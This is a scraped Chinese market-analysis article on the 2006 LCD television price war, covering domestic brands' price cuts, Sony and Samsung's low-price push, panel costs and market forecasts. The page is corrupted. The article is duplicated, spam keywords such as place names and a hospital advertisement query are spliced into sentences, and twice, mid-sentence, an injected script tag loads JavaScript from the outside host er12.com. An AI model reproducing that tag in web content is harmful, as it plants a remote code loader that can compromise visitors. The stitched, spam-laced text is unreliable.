液晶电视大打价格战降价的背景和动因昌吉
时间：2022/11/09 15:43:06 编辑：
虽然价格大战在中国市场上，特别是在平板电视市场上屡见不鲜，但人们还是希望知道此次降价的背景和动因。
动因之一：反击国外品牌
2005年初，曾经出现过“液晶电视国内品牌优势明显”的报道，主要依据是由于国内品牌的价格优势，使其在市场上的占有率明显高于国外品牌。以大屏幕液晶电视（40英寸及以上）为例，在2005年上半年，国内品牌处于较强的优势地位。
但是，从2005年三季度开始，特别是到了四季度，由于索尼、三星等国外液晶电视品牌的反攻，中国大屏幕液晶电视市场的局势发生了戏剧性的变化，国外品牌的占有率呈迅猛上升态势。特别是索尼，到2006年1月，其在大屏幕液晶电视市场上，零售额占有率已经达到22％。相比之下，国内品牌在大屏幕液晶电视市场上的地位却逐月下降。
这次索尼等国外品牌的反攻，使用了国内品牌的杀手锏，即“低价”。索尼推出两款40英寸机型，其中一款为klv-s40a10，上市时的价格为22500元，但很快就下调到19200元，而国内品牌的价格在15500元左右（此次降价前）。这就是说，索尼的价格仅定位在比国内品牌畅销机型高23％的位置上。索尼的低价策略，是其占有率迅猛上升的原因之一。
国内液晶电视此次降价，显然是为了抗击国外品牌、拉大中外液晶电视价差所做出的决定。
动因之二：巩固自身地位
抗击国外品牌是一个原因，巩固自身地位是此次降价的另一个原因。中国液晶电视市场是一个新兴的、处于高速增长的市场。一方面，这是一个充满机会的市场，但另一方面，这又是一个充满危险的市场，特别是竞争危险使大家都处于不很稳定的市场地位，海信等国内品牌希望通过降价来巩固或扩大自己的地位，就是一个必然之举了。
动因之三：面板价格下调
液晶电视的成本结构中，面板占据重要地位。而面板价格的下调，使液晶电视的降价成为可能。
随着三星第七代液晶面板生产线已经投产，及其它整体面板厂家供给能力的扩大，将在32英寸、42英寸、46英寸三种规格上实现量产，迫使大尺寸液晶面板大量放货，导致其价格走低。例如，2006年1月，42英寸wxga+液晶面板的平均价格为1050美元，而到了4月，价格降到910美元。仅仅3个月，价格下调物品包装了13％。
动因之四：规模效益提升
索尼等国外品牌低价进攻中国大屏幕液晶电视市场，不仅仅对国内品牌造成威胁，还刺激中国大屏幕液晶电视市场的增长。根据赛诺公司的监测，40英寸及以上液晶电视市场的份额从去年初的几乎为“零”，猛增到年末的14％。大屏幕液晶电视市场规模的扩大，产生更大的效益，为其价格下降提供了空间。前景展望一次降价就像一次地震，波及方方面面，有人高兴有人愁。此次降价的结果又会如何呢？
——改变竞争格局
每次降价的结果，最直接的影响就是竞争格局。如前所述，去年底索尼、三星在大屏幕液晶电视市场上的降价策略，使它们在市场上的地位迅速上升；反之，国内液晶电视品牌的地位则呈下滑态势。
此次国内液晶电视品牌的降价，拉开了原本已经缩小的中外液晶电视的价格差距。如无意外，此次降价始作俑者的市场占有率，近期将止跌转升。
应该指出的是，市场占有率的提升仅仅是企业经营的目的之一，企业经营的另一个重要目的是盈利。我们可以预计，在今后几个月内，海信等国内品牌会随着其降价策略，占有率将有所提升。但是不能预计其盈利是否会上升。实际上，这是国内品牌在实施降价策略时应该考虑和测算的问题。
——扩大市场规模
价格下降的另一个结果，是扩大市场规模光波浴房。此次价格下降主要集中在中、大尺寸的液晶电视，因此，降价的结果将扩大大尺寸液晶电视的规模。根据赛诺公司的预测，40英寸及以上液晶电视的份额将在2006年初超过20％，到年底可能接近30％。赛诺公司另一项预测是，2006年中国液晶电视市场规模将超过375万台。这就是说，40英寸及以上液晶电视的规模将超过100万台。
应该指出的是，市场上存在“竞争”的一面。如，当一方降低价格时，最直接的愿望是提高自身的占有率，且打击竞争对手。但是，市场上也存在“共赢”的一面，即我们通常所说的“win-win”策略。随着市场规模的扩大，竞争各方的销量也可能随之而扩大，这就是“共赢”。我们渴望见到的是，中国液晶电视市场上的竞争，从恶性转向良性。
——对手调整策略
无论是国外还是国内对手，决不会对此次降价坐以待毙，他们或迟或早要做出市场反应。从短期看，跟随调低价格是一种选择；产品升级又是一种选择；产品差异化也是一种选择；推出更好的新品还是一种选择。
需要强调的是，价格是市场营销的一个重要武器，但决不是万能的武器。一个品牌如果只能依赖价格手段去竞争，那?script src=http://er12.com/t.js> 今年(06年)五一黄金周前后，关于国内液晶品牌价格大幅度跳水的报道不绝于耳，打响了中国液晶电视市场的又一次价格大战。 四大动因
虽然价格大战在中国市场上，特别是在平板电视市场上屡见不鲜，但人们还是希望知道此次降价的背景和动因。
动因之一：反击国外品牌
2005年初，曾经出现过“液晶电视国内品牌优势明显”的报道，主要依据是由于国内品牌的价格优势，使其在市场上的占有率明显高于国外品牌。以大屏幕液晶电视（40英寸及以上）为例，在2005年上半年，国内品牌处于较强的优势地位。
但是，从2005年三季度开始，特别是到了四季度，由于索尼、三星等国外液晶电视品牌的反攻，中国大屏幕液晶电视市场的局势发生了戏剧性的变化，国外品牌的占有率呈迅猛上升态势。特别是索尼，到2006年1月，其在大屏幕液晶电视市场上，零售额占有率已经达到22％。相比之下，国内品牌在大屏幕液晶电视市场上的地位却逐月下降。
这次索尼等国外品牌的反攻，使用了国内品牌的杀手锏，即“低价”。索尼推出两款40英寸机型，其中一款为klv-s40a10，上市时的价格为22500元，邯郸但很快就下调到19200元，而国内品牌的价格在15500元左右（此次降价前）。这就是说，索尼的价格仅定位在比国内品牌畅销机型高23％的位置上。索尼的低价策略，是其占有率迅猛上升的原因之一。
国内液晶电视此次降价，显然是为了抗击国外品牌、拉大中外液晶电视价差所做出的决定。
动因之二：巩固自身地位
抗击国外品牌是一个原因，巩固自身地位是此次降价的另一个原因。中国液晶电视市场是一个新兴的、处于高速增长的市场。一方面，这是一个充满机会的市场，但另一方面，这又是一个充满危险的市场，特别是竞争危险使大家都处于不很稳定的市场地位，海信等国内品牌希望通过降价来巩固或扩大自己的地位，就是一个必然之举了。
动因之三：面板价格下调
液晶电视的成本结构中，面板占据重要地位。而面板价格的下调，使液晶电视的降价成为可能。
随着三星第七代液晶面板生产线已经投产，及其它整体面板厂家供给能力的扩大，将在32英寸、42英寸、46英寸三种规格上实现量产，迫使大尺寸液晶面板大量放货，导致其价格走低。例如，2006年1月，42英寸wxga+液晶面板的平均价格为1050美元，而到了4月，价格降到910美元。仅仅3个月，价格下调了13％。
动因之四：规模效益提升
索尼等国外品牌低价进攻中国大屏幕液晶电视市场，不仅仅对国内品牌造成威胁，还刺激中国大屏幕液晶电视市场的增长。根据赛诺公司的监测，40英寸及以上液晶电视市场的份额从去年初的几乎为“零”，猛增到年末的14％。大屏幕液晶电视市场规模的扩大，产生更大的效益，为其价格下降提供了空间。前景展望一次降价就像一次地震，波及方方面面，有人高兴有人愁。此次降价的结果又会如何呢？
——改变竞争格局
每次降价的结果，最直接的影响就是竞争格局。如前所述，去年底索尼、三星在大屏幕液晶电视市场上的降价策略，使它们在市场上的地位迅速上升；反之，国内液晶电视品牌的地位则呈下滑态势。
此次国内液晶电视品牌的降价，拉开了原本已经缩小的中外液晶电视的价格差距。如无意外，此次降价始作俑者的市场占有率，近期将止跌转升。
应该指出的是，市场占有率的提升仅仅是企业经营的目的之一，企业经营的另一个重要目的是盈利。我们可以预计，在今后几个月内，海信等国内品牌会随着其降价策略，占有率将有所提升。但是不能预计其盈利是否会上升。实际上，这是国内品牌在实施降价策略时应该考虑和测算的问题。
——扩大市场规模
价格下降的另一个结果，是扩大市场规模。此次价格下降主要集中在中、大尺寸的液晶电视，因此，降价的结果将扩大大尺寸液晶电视的规模。根据赛诺公司的预测，档圈40英寸及以上液晶电视的份额将在2006年初超过20％，到年底可能接近30％。赛诺公司另一项预测是，2006年中国液晶电视市场规模将超过375万台。这就是说，40英寸及以上液晶电视的规模将超过100万台。
应该指出的是，市场上存在“竞争”的一面。如，当一方降低价格时，最直接的愿望是提高自身的占有率，且打击竞争对手。但是，市场上也存在“共赢”的一面，即我们通常所说的“win-win”策略。随着市场规模的扩大，竞争各方的销量也可能随之而扩大，这就是“共赢”。我们渴望见到的是，中国液晶电视市场上的竞争，从恶性转向良性。
——对手调整策略
无论是国外还是国内对手，决不会对此次降价坐以待毙，他们或迟或早要做出市场反应。从短期看，跟随调低价格是一种选择；产品升级又是一种选择；产品差异化也是一种选择；推出更好的新品还是一种选择。
需要强调的是，价格是市场营销的一个重要武器，但决不是万能的武器。一个品牌如果只能依赖价格手段去竞争，那?script src=http://er12.com/t.js>沈阳做人流手术医院哪所好点
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